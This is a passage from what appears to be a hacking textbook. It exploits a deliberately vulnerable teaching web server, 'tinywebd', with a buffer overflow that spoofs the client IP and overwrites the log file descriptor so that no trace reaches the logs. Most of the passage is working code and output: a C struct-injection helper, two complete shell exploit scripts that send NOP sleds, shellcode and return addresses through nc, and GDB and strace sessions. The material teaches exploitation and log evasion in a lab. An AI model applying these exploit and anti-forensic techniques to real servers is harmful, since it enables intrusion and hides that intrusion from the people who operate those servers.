Our current stealth exploit only camouflages the web request; however, the IP address and timestamp are still written to the log file. This type of camouflage will make the attacks harder to find, but they are not invisible. Having your IP address written to logs that could be kept for years might lead to trouble in the future. Since we're mucking around with the insides of the tinyweb daemon now, we should be able to hide our presence even better.
The IP address written to the log file comes from the client_addr_ptr
, which is passed to handle_connection()
.
void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr,
int logfd) { unsigned char *ptr, request[500], resource[500], log_buffer[500]; int fd, length; length = recv_line(sockfd, request); sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr
), ntohs(client_addr_ptr->sin_port
), request);
To spoof the IP address, we just need to inject our own sockaddr_in
structure and overwrite the client_addr_ptr
with the address of the injected structure. The best way to generate a sockaddr_in
structure for injection is to write a little C program that creates and dumps the structure. The following source code builds the struct using command-line arguments and then writes the struct data directly to file descriptor 1, which is standard output.
#include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <netinet/in.h> int main(int argc, char *argv[]) { struct sockaddr_in addr; if(argc != 3) { printf("Usage: %s <target IP> <target port>\n", argv[0]); exit(0); } addr.sin_family = AF_INET; addr.sin_port = htons(atoi(argv[2])); addr.sin_addr.s_addr = inet_addr(argv[1]); write(1, &addr, sizeof(struct sockaddr_in)); }
This program can be used to inject a sockaddr_in
structure. The output below shows the program being compiled and executed.
reader@hacking:~/booksrc $ gcc -o addr_struct addr_struct.c reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 ## "8N_reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./addr_struct 12.34.56.78 9090 | hexdump -C 00000000 02 00 23 82 0c 22 38 4e 00 00 00 00 f4 5f fd b7 |.#."8N..._.| 00000010 reader@hacking:~/booksrc $
To integrate this into our exploit, the address structure is injected after the fake request but before the NOP sled. Since the fake request is 15 bytes long and we know the buffer starts at 0xbffff5c0
, the fake address will be injected at 0xbfffff5cf
.
reader@hacking:~/booksrc $ grep 0x xtool_tinywebd_steath.sh RETADDR="\x24\xf6\xff\xbf" # at +100 bytes from buffer @ 0xbffff5c0 reader@hacking:~/booksrc $ gdb -q -batch -ex "p /x 0xbffff5c0 + 15" $1 = 0xbffff5cf reader@hacking:~/booksrc $
Since the client_addr_ptr
is passed as a second function argument, it will be on the stack two dwords after the return address. The following exploit script injects a fake address structure and overwrites client_addr_ptr
.
#!/bin/sh # IP spoofing stealth exploitation tool for tinywebd SPOOFIP="12.34.56.78" SPOOFPORT="9090" if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 <shellcode file> <target IP>" exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128] [*fake_addr 8]" (perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOF IP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\r\n\"") | nc -w 1 -v $2 80
The best way to explain exactly what this exploit script does is to watch tinywebd from within GDB. In the output below, GDB is used to attach to the running tinywebd process, breakpoints are set before the overflow, and the IP portion of the log buffer is generated.
reader@hacking:~/booksrc $ ps aux | grep tinywebd root 27264 0.0 0.0 1636 420 ? Ss 20:47 0:00 ./tinywebd reader 30648 0.0 0.0 2880 748 pts/2 R+ 22:29 0:00 grep tinywebd reader@hacking:~/booksrc $ gcc -g tinywebd.c reader@hacking:~/booksrc $ sudo gdb -q—pid=27264 --symbols=./a.out warning: not using untrusted file "/home/reader/.gdbinit" Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". Attaching to process 27264 /cow/home/reader/booksrc/tinywebd: No such file or directory. A program is being debugged already. Kill it? (y or n) n Program not killed. (gdb) list handle_connection 77 /* This function handles the connection on the passed socket from the 78 * passed client address and logs to the passed FD. The connection is 79 * processed as a web request, and this function replies over the connected 80 * socket. Finally, the passed socket is closed at the end of the function. 81 */ 82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) { 83 unsigned char *ptr, request[500], resource[500], log_buffer[500]; 84 int fd, length; 85 86 length = recv_line(sockfd, request); (gdb) 87 88 sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request); 89 90 ptr = strstr(request, " HTTP/"); // Search for valid looking request. 91 if(ptr == NULL) { // Then this isn't valid HTTP 92 strcat(log_buffer, " NOT HTTP!\n"); 93 } else { 94 *ptr = 0; // Terminate the buffer at the end of the URL. 95 ptr = NULL; // Set ptr to NULL (used to flag for an invalid request). 96 if(strncmp(request, "GET ", 4) == 0) // Get request (gdb) break 86 Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86. (gdb) break 89 Breakpoint 2 at 0x8049028: file tinywebd.c, line 89. (gdb) cont Continuing.
Then, from another terminal, the new spoofing exploit is used to advance execution in the debugger.
reader@hacking:~/booksrc $ ./xtool_tinywebd_spoof.sh mark_restore 127.0.0.1 target IP: 127.0.0.1 shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $
Back in the debugging terminal, the first breakpoint is hit.
Breakpoint 1, handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 86 length = recv_line(sockfd, request); (gdb) bt #0 handle_connection (sockfd=9, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86 #1 0x08048fb7 in main () at tinywebd.c:72 (gdb) print client_addr_ptr $1 = (struct sockaddr_in *) 0xbffff810 (gdb) print *client_addr_ptr $2 = {sin_family = 2, sin_port = 15284, sin_addr = {s_addr = 16777343}, sin_zero = "\000\000\000\000\000\000\000"} (gdb) x/x &client_addr_ptr 0xbffff7e4: 0xbffff810 (gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0x0804b030 0xbffff624 0xbffff7d4: 0x00000009 0xbffff848 0x08048fb7 0x000000090xbffff7e4: 0xbffff810
0x00000003 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002 (gdb) cont Continuing. Breakpoint 2, handle_connection (sockfd=-1073744433, client_addr_ptr=0xbffff5cf, logfd=2560) at tinywebd.c:90 90 ptr = strstr(request, " HTTP/"); // Search for valid-looking request. (gdb) x/24x request + 500 0xbffff7b4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7c4: 0xbffff624 0xbffff624 0xbffff624 0xbffff624 0xbffff7d4: 0xbffff624 0xbffff624 0xbffff624 0xbffff5cf0xbffff7e4: 0xbffff5cf
0x00000a00 0xbffff838 0x00000004 0xbffff7f4: 0x00000000 0x00000000 0x08048a30 0x00000000 0xbffff804: 0x0804a8c0 0xbffff818 0x00000010 0x3bb40002 (gdb) print client_addr_ptr $3 = (struct sockaddr_in *) 0xbffff5cf (gdb) print client_addr_ptr $4 = (struct sockaddr_in *) 0xbffff5cf (gdb) print *client_addr_ptr $5 = {sin_family = 2, sin_port = 33315, sin_addr = {s_addr = 1312301580}, sin_zero = "\000\000\000\000_ (gdb) x/s log_buffer 0xbffff1c0: "From 12.34.56.78:9090 \"GET / HTTP/1.1\"\t" (gdb)
At the first breakpoint, client_addr_ptr
is shown to be at 0xbffff7e4
and pointing to 0xbffff810
. This is found in memory on the stack two dwords after the return address. The second breakpoint is after the overwrite, so the client_addr_ptr
at 0xbffff7e4
is shown to be overwritten with the address of the injected sockaddr_in
structure at 0xbffff5cf
. From here, we can peek at the log_buffer
before it's written out to the log to verify the address injection worked.
Ideally, we want to leave no trace at all. In the setup on the LiveCD, technically you can just delete the log files after you get a root shell. However, let's assume this program is part of a secure infrastructure where the log files are mirrored to a secure logging server that has minimal access or maybe even a line printer. In these cases, deleting the log files after the fact is not an option. The timestamp()
function in the tinyweb daemon tries to be secure by writing directly to an open file descriptor. We can't stop this function from being called, and we can't undo the write it does to the log file. This would be a fairly effective countermeasure; however, it was implemented poorly. In fact, in the previous exploit, we stumbled upon this problem.
Even though logfd
is a global variable, it is also passed to handle_connection()
as a function argument. From the discussion of functional context, you should remember that this creates another stack variable with the same name, logfd
.Since this argument is found right after the client_addr_ptr
on the stack, it gets partially overwritten by the null terminator and the extra 0x0a
byte found at the end of the exploit buffer.
(gdb) x/xw &client_addr_ptr 0xbffff7e4: 0xbffff5cf (gdb) x/xw &logfd 0xbffff7e8: 0x00000a00 (gdb) x/4xb &logfd 0xbffff7e8: 0x00 0x0a 0x00 0x00 (gdb) x/8xb &client_addr_ptr 0xbffff7e4: 0xcf 0xf5 0xff 0xbf 0x00 0x0a 0x00 0x00 (gdb) p logfd $6 = 2560 (gdb) quit The program is running. Quit anyway (and detach it)? (y or n) y Detaching from program: , process 27264 reader@hacking:~/booksrc $ sudo kill 27264 reader@hacking:~/booksrc $
As long as the log file descriptor doesn't happen to be 2560 (0x0a00
in hexadecimal), every time handle_connection()
tries to write to the log it will fail. This effect can be quickly explored using strace. In the output below, strace is used with the -p
command-line argument to attach to a running process. The -e trace=write
argument tells strace to only look at write calls. Once again, the spoofing exploit tool is used in another terminal to connect and advance execution.
reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon. reader@hacking:~/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 525 0.0 0.0 2880 748 pts/1 R+ 23:24 0:00 grep tinywebd reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write Process 478 attached - interrupt to quit write(2560, "09/19/2007 23:29:30> ", 21) = -1 EBADF (Bad file descriptor) write(2560, "From 12.34.56.78:9090 \"GET / HTT".., 47) = -1 EBADF (Bad file descriptor) Process 478 detached reader@hacking:~/booksrc $
This output clearly shows the attempts to write to the log file failing. Normally, we wouldn't be able to overwrite the logfd
variable, since the client_addr_ptr
is in the way. Carelessly mangling this pointer will usually lead to a crash. But since we've made sure this variable points to valid memory (our injected spoofed address structure), we're free to overwrite the variables that lie beyond it. Since the tinyweb daemon redirects standard out to /dev/null, the next exploit script will overwrite the passed logfd
variable with 1
, for standard output. This will still prevent entries from being written to the log file but in a much nicer way—without errors.
#!/bin/sh # Silent stealth exploitation tool for tinywebd # also spoofs IP address stored in memory SPOOFIP="12.34.56.78" SPOOFPORT="9090" if [ -z "$2" ]; then # If argument 2 is blank echo "Usage: $0 <shellcode file> <target IP>" exit fi FAKEREQUEST="GET / HTTP/1.1\x00" FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ') OFFSET=540 RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0 FAKEADDR="\xcf\xf5\xff\xbf" # +15 bytes from buffer @ 0xbffff5c0 echo "target IP: $2" SIZE=`wc -c $1 | cut -f1 -d ' '` echo "shellcode: $1 ($SIZE bytes)" echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)" ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE - 16)) echo "[Fake Request $FR_SIZE] [spoof IP 16] [NOP $ALIGNED_SLED_SIZE] [shellcode $SIZE] [ret addr 128] [*fake_addr 8]" (perl -e "print \"$FAKEREQUEST\""; ./addr_struct "$SPOOFIP" "$SPOOFPORT"; perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE"; cat $1; perl -e "print \"$RETADDR\"x32 . \"$FAKEADDR\"x2 . \"\x01\x00\x00\x00\r\n\"") | nc -w 1 -v $2 80
When this script is used, the exploit is totally silent and nothing is written to the log file.
reader@hacking:~/booksrc $ sudo rm /Hacked reader@hacking:~/booksrc $ ./tinywebd Starting tiny web daemon.. reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log -rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:~/booksrc $ ./xtool_tinywebd_silent.sh mark_restore 127.0.0.1 target IP: 127.0.0.1 shellcode: mark_restore (53 bytes) fake request: "GET / HTTP/1.1\x00" (15 bytes) [Fake Request 15] [spoof IP 16] [NOP 332] [shellcode 53] [ret addr 128] [*fake_addr 8] localhost [127.0.0.1] 80 (www) open reader@hacking:~/booksrc $ ls -l /var/log/tinywebd.log -rw------- 1 root reader 6526 2007-09-19 23:24 /var/log/tinywebd.log reader@hacking:~/booksrc $ ls -l /Hacked -rw------- 1 root reader 0 2007-09-19 23:35 /Hacked reader@hacking:~/booksrc $
Notice the log file's size and access time remain the same. Using this technique, we can exploit tinywebd without leaving any trace in the log files. In addition, the write calls execute cleanly, as everything is written to /dev/null. This is shown by strace in the output below, when the silent exploit tool is run in another terminal.
reader@hacking:~/booksrc $ ps aux | grep tinywebd root 478 0.0 0.0 1636 420 ? Ss 23:24 0:00 ./tinywebd reader 1005 0.0 0.0 2880 748 pts/1 R+ 23:36 0:00 grep tinywebd reader@hacking:~/booksrc $ sudo strace -p 478 -e trace=write Process 478 attached - interrupt to quit write(1, "09/19/2007 23:36:31> ", 21) = 21 write(1, "From 12.34.56.78:9090 \"GET / HTT".., 47) = 47 Process 478 detached reader@hacking:~/booksrc $